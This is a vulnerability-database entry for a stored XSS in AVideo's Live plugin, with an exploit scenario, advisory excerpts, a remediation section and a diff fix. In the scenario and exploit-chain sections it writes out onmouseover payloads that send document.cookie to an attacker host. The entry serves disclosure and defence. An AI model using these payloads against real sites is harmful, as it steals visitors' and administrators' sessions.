Skip to main content

AVideo EUVDEUVD-2026-33311

| CVE-2026-45580 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-15 https://github.com/WWBN/AVideo GHSA-m5j4-7r85-2cj2
5.4
CVSS 3.1 · Vendor: https://github.com/WWBN/AVideo
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain canStream account
  2. Delivery
    POST crafted stream key to saveLive.php
  3. Exploit
    Malicious key stored in database
  4. Install
    Victim visits live stream page
  5. C2
    modeYoutubeLive.php renders unescaped key into HTML
  6. Execute
    JavaScript event handler executes in victim's browser
  7. Impact
    Session cookies exfiltrated to attacker server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold an AVideo account with canStream=1 privilege, which is satisfied in two deployment scenarios: (1) installations configured with advancedCustomUser.newUsersCanStream=1 where self-registered users automatically receive streaming privileges, or (2) any existing user account that has been granted streaming rights by an administrator. The attacker must have network access to POST requests to the plugin/Live/saveLive.php endpoint to persist the malicious stream key. Victim triggering requires a user (authenticated or anonymous) to visit the attacker's live stream page URL at plugin/Live/?u=<attacker-username> while using the default modeYoutubeLive.php view template. The specific trigger condition in the provided exploit payload is mouse-over interaction with the stream title heading, though alternate payloads using onerror, onload, or direct script injection can achieve no-interaction execution. The vulnerability is platform-agnostic (any browser rendering the page will execute the injected JavaScript) and affects default AVideo configurations using the YouTube-style live view. Exploitation impact is limited by browser security controls such as HttpOnly cookie flags (which prevent JavaScript access to session cookies) and Content Security Policy headers (which can block inline event handlers), though these protections are not enabled by default in AVideo. The stored nature of the vulnerability means the payload persists across sessions and affects all subsequent visitors until the malicious live_transmitions record is deleted from the database.

Impact

Real-world risk is moderate despite the 5.4 CVSS score. The attack vector is network-accessible (AV:N) with low complexity (AC:L), but requires authenticated access with canStream privileges (PR:L) and victim user interaction (UI:R) to trigger. The scope change (S:C) correctly reflects that the attacker's low-privilege streaming account can compromise victims with different privilege levels, including administrators. The primary risk drivers are the persistence of the payload and the wide attack surface-any visitor viewing the poisoned live stream page executes the injected JavaScript in their browser context with the application's origin privileges. This enables session cookie theft (if not HttpOnly-protected), CSRF token harvesting, DOM manipulation, and authenticated API calls as the victim. For deployments where advancedCustomUser.newUsersCanStream=1, attackers can self-register streaming accounts, lowering the barrier to exploitation. For admin-targeted attacks, success depends on admins viewing attacker-controlled live streams, which is plausible during content moderation workflows. No EPSS score, KEV status, or active exploitation indicators are provided in the available data, suggesting this is a recently disclosed vulnerability without confirmed in-the-wild exploitation. The absence of a vendor-released patch (fixed version listed as None) elevates immediate risk for production deployments. The detailed proof-of-concept in the GitHub advisory with exact exploit payloads and command-line demonstrations confirms exploitability, though no public exploit framework integration is documented. Security teams should prioritize this for streaming-enabled AVideo installations where untrusted users have streaming privileges or where admin users regularly review user-generated live content.

Exploit ScenarioDerived

An attacker registers a free account on an AVideo streaming platform with self-registration enabled and automatic streaming privileges granted. They navigate to the live stream configuration interface and POST a maliciously crafted stream key to plugin/Live/saveLive.php with the payload: key=" onmouseover="fetch('https://attacker.com/exfil?cookie='+document.cookie)" x=". This payload is stored unescaped in the database. When any site visitor-including administrators performing content moderation-opens the attacker's live stream page, the modeYoutubeLive.php template renders the poisoned key into an HTML class attribute, injecting an onmouseover event handler. As the victim's mouse passes over the stream title (a prominent UI element), the JavaScript executes in the AVideo origin context, sending the victim's session cookies to the attacker's collection server. The attacker uses the stolen admin session cookie to authenticate as the administrator, gaining full platform control to access private videos, modify user accounts, or pivot to server-level exploitation through admin-only upload or plugin management features.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 15, 2026

Stored cross-site scripting in AVideo's Live plugin allows authenticated streamers to inject malicious JavaScript into live stream pages, executing in any visitor's browser context. The vulnerability exists in modeYoutubeLive.php where stream keys are rendered unescaped into HTML class attributes. Attackers with canStream privileges can persist event handlers via crafted stream keys that trigger when victims view the live page, enabling session hijacking, CSRF token theft, and potential admin account compromise. CVSS 5.4 reflects network-accessible exploitation requiring only low-privilege authentication and user interaction, with scope change indicating cross-user impact. No patch is currently available per GitHub advisory GHSA-m5j4-7r85-2cj2.

RemediationAI

No vendor-released patch is available at the time of analysis. Organizations must implement compensating controls until an official fix is released. The GitHub advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-m5j4-7r85-2cj2 provides a source-code patch that applies htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') encoding to the stream key output at modeYoutubeLive.php line 203. Organizations with in-house PHP development capability can apply this patch manually to their deployed instances. For those unable to patch source code, implement these compensating controls: (1) Disable the Live plugin entirely if live streaming is not business-critical, which eliminates the attack surface. (2) Revoke canStream permissions from all non-administrative users and restrict streaming to trusted admin accounts only, which raises the attacker privilege requirement to admin-level. This significantly reduces risk but eliminates the platform's user-generated streaming capability. (3) Implement input validation at the web application firewall or reverse proxy layer to reject saveLive.php POST requests containing special characters (quotes, angle brackets, parentheses) in the key parameter, though this may break legitimate workflows if stream keys are ever manually specified. (4) Deploy Content Security Policy headers with script-src 'self' to prevent inline event handlers from executing, though this requires testing for compatibility with AVideo's existing inline JavaScript and may break legitimate functionality. The defense-in-depth measure recommended in the advisory is to enforce a character allowlist on live_transmitions.key at write time (limiting to alphanumeric, underscore, and hyphen characters) in the LiveTransmition::setKey() method, which prevents HTML metacharacters from entering the database. Organizations should monitor the AVideo GitHub repository for an official patched release and prioritize upgrading when available.

Affected VersionsENISA

AVideo ≤ 29.0

Affected Packages

composer wwbn/avideo no fix
euvd avideo no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a classic context-specific output encoding failure (CWE-79). The vulnerable code path concatenates user-controlled data from the live_transmitions.key database field directly into an HTML attribute context without applying htmlspecialchars() encoding. PHP's echo statement at modeYoutubeLive.php line 203 renders the stream key into a class attribute: class="title_liveKey_<?php echo $livet['key'] ?>". When the key contains double-quote characters, attackers can break out of the attribute context and inject arbitrary HTML attributes or tags. The persistence layer in saveLive.php accepts $_REQUEST['key'] with no character allowlist, storing it verbatim in the varchar database column via prepared statements that preserve all HTML metacharacters. The existing sanitizer in on_publish.php only strips ampersands and equals signs, leaving quotes, angle brackets, and other injection vectors intact. This represents a failure to follow context-aware output encoding principles, where data crossing from a data context (database) to a code context (HTML) must be escaped according to the destination syntax rules. The affected package is the composer distribution of WWBN/AVideo, which uses PHP templating without an auto-escaping template engine.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/WWBN/AVideo) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (https://github.com/WWBN/AVideo) · only source for this CVE.

CVSS VectorVendor: https://github.com/WWBN/AVideo

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

Type: Stored cross-site scripting. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin. File: plugin/Live/view/modeYoutubeLive.php, line 203. Root cause: the template builds a live-status hook by concatenating the database key into a class name: class="title_liveKey_<?php echo $livet['key'] ?>". There is no escaping. The persistence path plugin/Live/saveLive.php:30 accepts $_REQUEST['key'] verbatim into live_transmitions.key (the auto-generation path uses uniqid(), but the manual save path lets the caller override it with anything). The on_publish.php:117 sanitiser strips only & and =, not ", <, or >, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.

Affected Code

File: plugin/Live/view/modeYoutubeLive.php, lines 195-209.

php
                            <i class="fas fa-lock"></i>
                        <?php
                        } else {
                        ?>
                            <i class="fas fa-video"></i>
                        <?php
                        }
                        ?>
                        <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span>  <!-- BUG: $livet['key'] echoed raw into class attribute -->
                        <small class="text-muted">
                            <?php
                            echo $liveInfo['displayTime'];
                            ?>
                        </small>
                    </h1>

$livet['key'] is the raw stream key out of live_transmitions. The persistence path plugin/Live/saveLive.php:30 is $l->setKey($_REQUEST['key']) (no allowlist), and LiveTransmition::setKey() (Objects/LiveTransmition.php:110-112) is a plain assignment. The DB column has no character-class enforcement (it is a varchar). parent::save() uses prepared SQL, so embedded ", <, >, ' are stored verbatim and round-trip back to this template unchanged.

Why it's wrong: an HTML attribute value must be escaped with htmlspecialchars(..., ENT_QUOTES, 'UTF-8') (or routed through a templating engine that does). The current <?php echo $livet['key'] ?> between class="…" and " lets the attacker close the attribute with ", append arbitrary attributes (onclick, onmouseover, style, srcset, …), or close the tag with > and inject a <script> block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (menuRight.php, socket.js) only use key inside JS contexts where they pre-strip [&=], but modeYoutubeLive.php uses it directly in HTML attribute context where that strip is insufficient.

Exploit Chain

  1. Attacker registers (or already holds) an AVideo account with canStream=1. On installations with advancedCustomUser.newUsersCanStream=1 this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated.
  2. Attacker POSTs to https://target/plugin/Live/saveLive.php:
   key=" onmouseover="fetch('//attacker/x?c='+document.cookie)" x="
   title=t&description=d&password=p

saveLive.php:8 confirms User::canStream(), line 30 calls $l->setKey($_REQUEST['key']) and the row is persisted with the literal payload value. State: live_transmitions.key for this user contains the XSS payload.

  1. Victim visits the attacker's live page, e.g. https://target/plugin/Live/?u=<attacker-username>. The page is rendered through index.php -> view/modeYoutubeLive.php. Line 203 executes:
html
   <span class="title_liveKey_" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=""><span>STREAM TITLE</span></span>

State: a class attribute closed early, an onmouseover event handler attached, a stray x="" consumed, and the final closing " consumed by the next attribute. The HTML parses cleanly.

  1. Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: fetch('//attacker/x?c=' + document.cookie) runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie).
  2. Final state: the attacker's collector receives the victim's session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (onerror on injected <img>, onload on injected <svg>, or simply > to close the <span> and inject a <script> block) the trigger does not require mouse-over.

Security Impact

Severity: sec-moderate. Stored XSS on the platform's primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability. Attacker capability: with one canStream account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer's browser when they open the stream's live page. The script runs in the target origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from live_transmitions. Preconditions: AVideo deployment using the default modeYoutubeLive.php template (the YouTube-style live view, used by all standard skins); attacker has canStream rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page. Differential: source-inspection-verified. The vulnerable template modeYoutubeLive.php:203 produces <span class="title_liveKey_<UNESCAPED_KEY>">…</span>. With the suggested patch (htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') applied), the same input renders as <span class="title_liveKey_&quot; onmouseover=&quot;…&quot; x=&quot;">…</span>, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet:

sh
$ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".$livet["key"]."\">test</span>";'
<span class="title_liveKey_" onmouseover="alert(1)" x="">test</span>
# XSS attribute parses
$ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".htmlspecialchars($livet["key"],ENT_QUOTES,"UTF-8")."\">test</span>";'
<span class="title_liveKey_&quot; onmouseover=&quot;alert(1)&quot; x=&quot;">test</span>
# one attribute, no handler

Suggested Fix

Escape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after replace(/[&=]/g, ''), but they should be reviewed in the same patch).

diff
--- a/plugin/Live/view/modeYoutubeLive.php
+++ b/plugin/Live/view/modeYoutubeLive.php
@@ -200,7 +200,7 @@
                         }
                         ?>
-                        <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span>
+                        <span class="title_liveKey_<?php echo htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') ?>"><?php echo getSEOTitle($liveTitle); ?></span>
                         <small class="text-muted">
                             <?php
                             echo $liveInfo['displayTime'];

Defence-in-depth: also enforce a character allowlist on live_transmitions.key at write time (the autogenerator emits uniqid() which is hex-only, so ^[A-Za-z0-9_-]{1,64}$ is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy